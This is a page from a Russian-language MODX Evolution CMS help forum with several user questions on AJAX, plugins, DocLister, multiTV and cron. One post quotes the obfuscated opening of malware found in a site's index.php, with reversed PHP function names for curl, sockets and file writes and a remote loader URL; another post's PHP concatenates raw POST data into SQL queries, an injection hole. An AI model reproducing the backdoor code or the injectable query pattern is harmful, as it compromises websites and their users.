0.00
620 читателей, 2910 топиков

Chrome не отлавливает POST-запрос

Здравствуйте. Столкнулась с такой проблемой:
Отправляю Ajax запрос по событию NotFoundPage.
Mozilla запрос отлавливает и обрабатывает. Chrome его же просто не видит.

Код запроса и обработки:

$.ajax({
                                type:'POST',
                                url:'save',
                                dataType:'json',
                                data: {jsonData: localStorage.getItem("simpleCart_items")}
                            });

— — — — — — — —
$userId = $modx->getLoginUserID();
if($userId != null || isset($userId) || $userId != '') { 

	switch($_GET['q']){  
			case 'nothasname':
		$userId = $modx->getLoginUserId();
		$data = str_replace("+", " ", $_POST['jsonData']);
		$data = str_replace("sanitize_seed_99skgpomjbc4w8884okccog4g}sanitize_seed_99skgpomjbc4w8884okccog4g}sanitize_seed_99skgpomjbc4w8884okccog4g", '}}', $data);
		echo $data;
		echo $userId;
		$s = $modx->db->query('SELECT user_id FROM modx_itemcart WHERE user_id = '.$userId.' ');
		
		while( $row = $modx->db->getRow($s) ) {  
		$output[] = $row['user_id'];        
	}
			if (in_array($userId, $output)) {
				$q = $modx->db->query('UPDATE modx_itemcart SET storage = '."'".$data."'".' WHERE user_id = '.$userId.' ');
			} else {
			$q = $modx->db->query( 'INSERT INTO modx_itemcart(user_id,storage) VALUES('.$userId.','."'".$data."'".')
		ON DUPLICATE KEY UPDATE user_id ='.$userId.';' );
			} 
		break;
	
	}
}
die();

РЕШЕНО! mm_rules

Помогите плиз перестал работать mm_rules

На сайте был вирус, все почистил!

Сначала обновил систему до 9.05 (сборка от Дмитрия) сделал php 7.0 и mysqli и перестал работать mm_rules и codemiror (точнее он глючит не всегда подсвечивает код)
а mm_rules вообще перестал на что либо откликаться хотя в плагине ManagerManager все указано правильно.

Раньше такого никогда не было, даже потом на всякий случай обновил до 9.1

в протоколе событий ничего не выходит

посмотрел в консили хрома выдает такие ошибки

/assets/plugins/codemirror/cm/mode/javascript-compressed.js:9 Uncaught TypeError: a.registerHelper is not a function
/assets/plugins/codemirror/cm/mode/css-compressed.js:9 Uncaught TypeError: a.registerHelper is not a function
/assets/plugins/codemirror/cm/mode/clike-compressed.js:9 Uncaught TypeError: a.registerHelper is not a function
/assets/plugins/codemirror/cm/mode/javascript-compressed.js:9 Uncaught TypeError: a.registerHelper is not a function
/assets/plugins/codemirror/cm/mode/css-compressed.js:9 U

DocLister. Как передать данные на страницу child

Сломал голову, по идее это должно легко делаться без лишних сниппетов в DocLister, но в голову ничего не приходит.

Есть N-количество документов, не разделенных на подкатегории, а все дети в одном родителе. У родителя списка этих документов в шаблоне два вывода доклистера.


[[DocLister? &parents=`[*id*]` &display=`0` &tpl=`productTpl` &id=`one` &tvList=`instock` &filters=`AND(tv:instock:eq:0)`]]

[[DocLister? &parents=`[*id*]` &display=`0` &tpl=`productTpl` &id=`two` &tvList=`instock` &filters=`AND(tv:instock:eq:1)`]]


При переходе из родителя по одному из доклистеров нужно, что бы выводился разный список документов (например фильтрация из одного доклистера по одним параметрам, а из второго по другим) на странице потомка.

Нужно для вывода блока, например, «Другие товары в наличии». Сейчас, естественно, на странице родителя все фильтруется, но при переходе на страницу потомка выводятся все документы и в наличии и нет. Как передать параметр, что совершен переход с родителя из доклистер №1 или из №2?

Плагин, изменяющий content

Всем привет!

Задача сделать плагин, который будет при сохранении менять поле content у документа, например находить там опред. слова и заменять.

С самой заменой подстроки средствами php вопросов-то нет, а вот что касается плагинов MODx…

Что-то я в тупике, не получается ни «обычным» способом (через запросы), ни через modResource.

Не пойму, какое событие лучше использовать, и как вообще записать результат в поле контент. Не пишется в контент, и всё тут. Может, какая-то тонкость есть?

Буду благодарен за любые подсказки.

UPD: Забыл версию написать, я пробовал на 9.1.1 — 9.1.3, до этого на 7.1.6 получалась подобная задача, но не с контентом, а с ТВ через modResource от Agel_Nash.

Watermark для изображения в simplegallery

Всех приветствую!

Не нашел информации как сделать так, чтобы на изображения накладывался watermark. Программистом не являюсь к сожалению,PHP на знаю.

Буду благодарен, если подскажите решение.

[[sgLister?
&thumbSnippet=`phpthumb`
&offset=`1`
&thumbOptions=`w=300&h=220&zc=1`
&tpl=`@CODE:

evolutioncms.org или я чего-то не знаю?

Наткнулся случайно на такой сайтик evolutioncms.org, где написано что-то про Evolution-CMS, там даже логотипчик свой, как я понял сайт существует с 2006 года, это видимо еще тогда была мысль форкнуться от основной ветки?
Кто что знает на этот счет?

Как в multiTV выставить дату без времени?

Доброго времени суток!
Вот конфиг:
<?php
$settings['display'] = 'vertical';
$settings['fields'] = array(
    'vakansiya' => array(
        'caption' => 'Вакансия:',
        'type' => 'text'
    ),
    'obyazannosti' => array(
        'caption' => 'Обязанности:',
        'type' => 'textareamini'
    ),
    'trebovaniya' => array(
        'caption' => 'Требования:',
        'type' => 'textareamini'
    ),
    'usloviya' => array(
        'caption' => 'Условия:',
        'type' => 'text',
    ),
    'date' => array(
        'caption' => 'Date',
        'type' => 'unixtime'
    ),
);
$settings['templates'] = array(
    'outerTpl' => '[+wrapper+]',
    'rowTpl' => '<div class="vakansii">
                        <p><strong>Вакансия:</strong>[+vakansiya+]</p>
                        <p><strong>Обязанности:</strong>[+obyazannosti+]</p>
                        <p><strong>Требования:</strong>[+trebovaniya+]</p>
                        <p><strong>Условия:</strong>[+usloviya+]</p>
                        <p class="data">[+date:date=`%d.%m.%Y`+]</p>
                    </div>'
);

При [+date:date=`%d.%m.%Y`+] выводит 1.1.1970, а при [+date+] выводится вместе со временем, а нужна только дата?

Сайт поймал не понятный вирус....

Здравствуйте!

Наш сайт, как обнаружилось поймал не понятный вирус…
Если кто знает как его нейтрализовать, большая просьба помочь.

В index.php
<?php @'$
yumingid=19
lineid=702
x3=
x4=yWUPqAkfGJ
x5=Bank,beautyparlor,Muntjac,mine,Hammock,army,inch,Ring,select,strict,jewelry,LineIsBusy,lady,Friday,mainly,toflyakite,least,income,HulaHoop,active,incentive,bedroom,companybus,whatever,cooking,kneecap,concentrate,begin,back,programdirector
x6=
x7=http://btuan05.ytuuwtizhy583ywfij/weilai.php
cache=1
pgmb=0
urlgz=@/#/!/|@/#/$/|@/#/!.*|@/^/!|@/^/$/|#/!/|#/$/|#/!/@/|#/$/@/|#/!/@.*|#/$/@.*|#/$/@/|#/!/@/@|#/$/@/@/|#/!/@.*|#/$/*/@/|@/#/!|@/#/:/!/|@/#/:.*=$|@.*/#/!|#/@+:.*=$|@/#/!/@/+@|@/#-@/!/|@/#/$/@/|@/#/!-@.*|@/#+@/$/|@/^_@/!|@/^-@/$/|@/^/$/@|#/!-@+@/|#/$_@+@/|#/!_@/@/|#/$/+@@/|#/!/@+@.*|#/$/@@.*|@/#_@/!|@/#_:_@/$/|@/#_@/$/|@/^/@/$/|#/!-@/|#_@/$_@/|#/!/@+@/|#/$-@/@/|#/!_@/@.*|#/$/@_@.*|*/#/!/@/||htm,html,php,jsp,pdf,shtml,cgi
';$O0O0O000O00=explode(«1l»,«peelsu1ltimil_emit_tes1ledolpmi1lfoef1lyarra_ni1lridkm1lezilairesnu1ltressa1ltilps_gerp1ltilps_rts1ldnuor1lesrever_yarra1lftnirps1ltfihs_yarra1l5dm1ltes_ini1ltrats_bo1lrid_si1lsba1lmirt1latad_atem_teg_maerts1lecils_yarra1lnioj1lhctam_gerp1lliec1lcexe_lruc1legrem_yarra1llru_esrap1ledolpxe1lstegf1ldro1lelffuhs1ltnuoc1ledocnelru1l31tor_rts1lrtsbus1lyreuq_dliub_ptth1ldnar_tm1lemanybtsohteg1letirw_tekcos1lstsixe_noitcnuf1letad1ldaer_tekcos1lecalperi_rts1lseulav_yarra1lhcraes_yarra1lesolcf1lpilf_yarra1lofniphp1lelbatirw_si1leuqinu_yarra1lcedxeh1ldomhc1lelif_si1lgnikcolb_tes_maerts1llla_hctam_gerp1lecalper_rts1lesolc_lruc1letirwf1lyarra_si1legnar1lnoitcnuf_etaerc1ltuoemit_tes_maerts1ltes_enozemit_tluafed_etad1lecalper_gerp1ledoced_ytitne_lmth1ltroba_resu_erongi1ldaerf1lrhc1lesolc_tekcos1ltcartxe1lciremun_si1lstnetnoc_teg_elif1lpop_yarra1lnelrts1llavtni1ltcennoc_tekcos1lroolf1ledocedlru1lsoprts1ltpotes_lruc1lstnetnoc_tup_elif1ltneilc_tekcos_maerts1ltini_lruc1lkcabllac_ecalper_gerp1lsoprrts1lbolg1lredaeh»);foreach($O0O0O000O00 as&$OO0O00000)

Это только начало кода… Откуда могло взяться и как не понятно… Проверили айболитом, он это не обнаружил как вирус… Может кто нибудь объяснить, что дальше делать.

Запуск сниппета по CRON

Есть сниппет импорта из XML файла, потребовалось автоматизировать выгрузку по крону, как это проще сделать?
Пытаюсь сделать так, создал файлик в корне:
<?php
define('MODX_API_MODE', true);
include_once(dirname(__FILE__)."/index.php");
$modx->runSnippet('XMLimport-newflat');

при попытке запуска пишет «Please disable register_globals!»
отрубить register_globals хостер не дает, отсылает к .htaccess, но на крон он не влияет.
вопрос: как правильно запустить сниппет?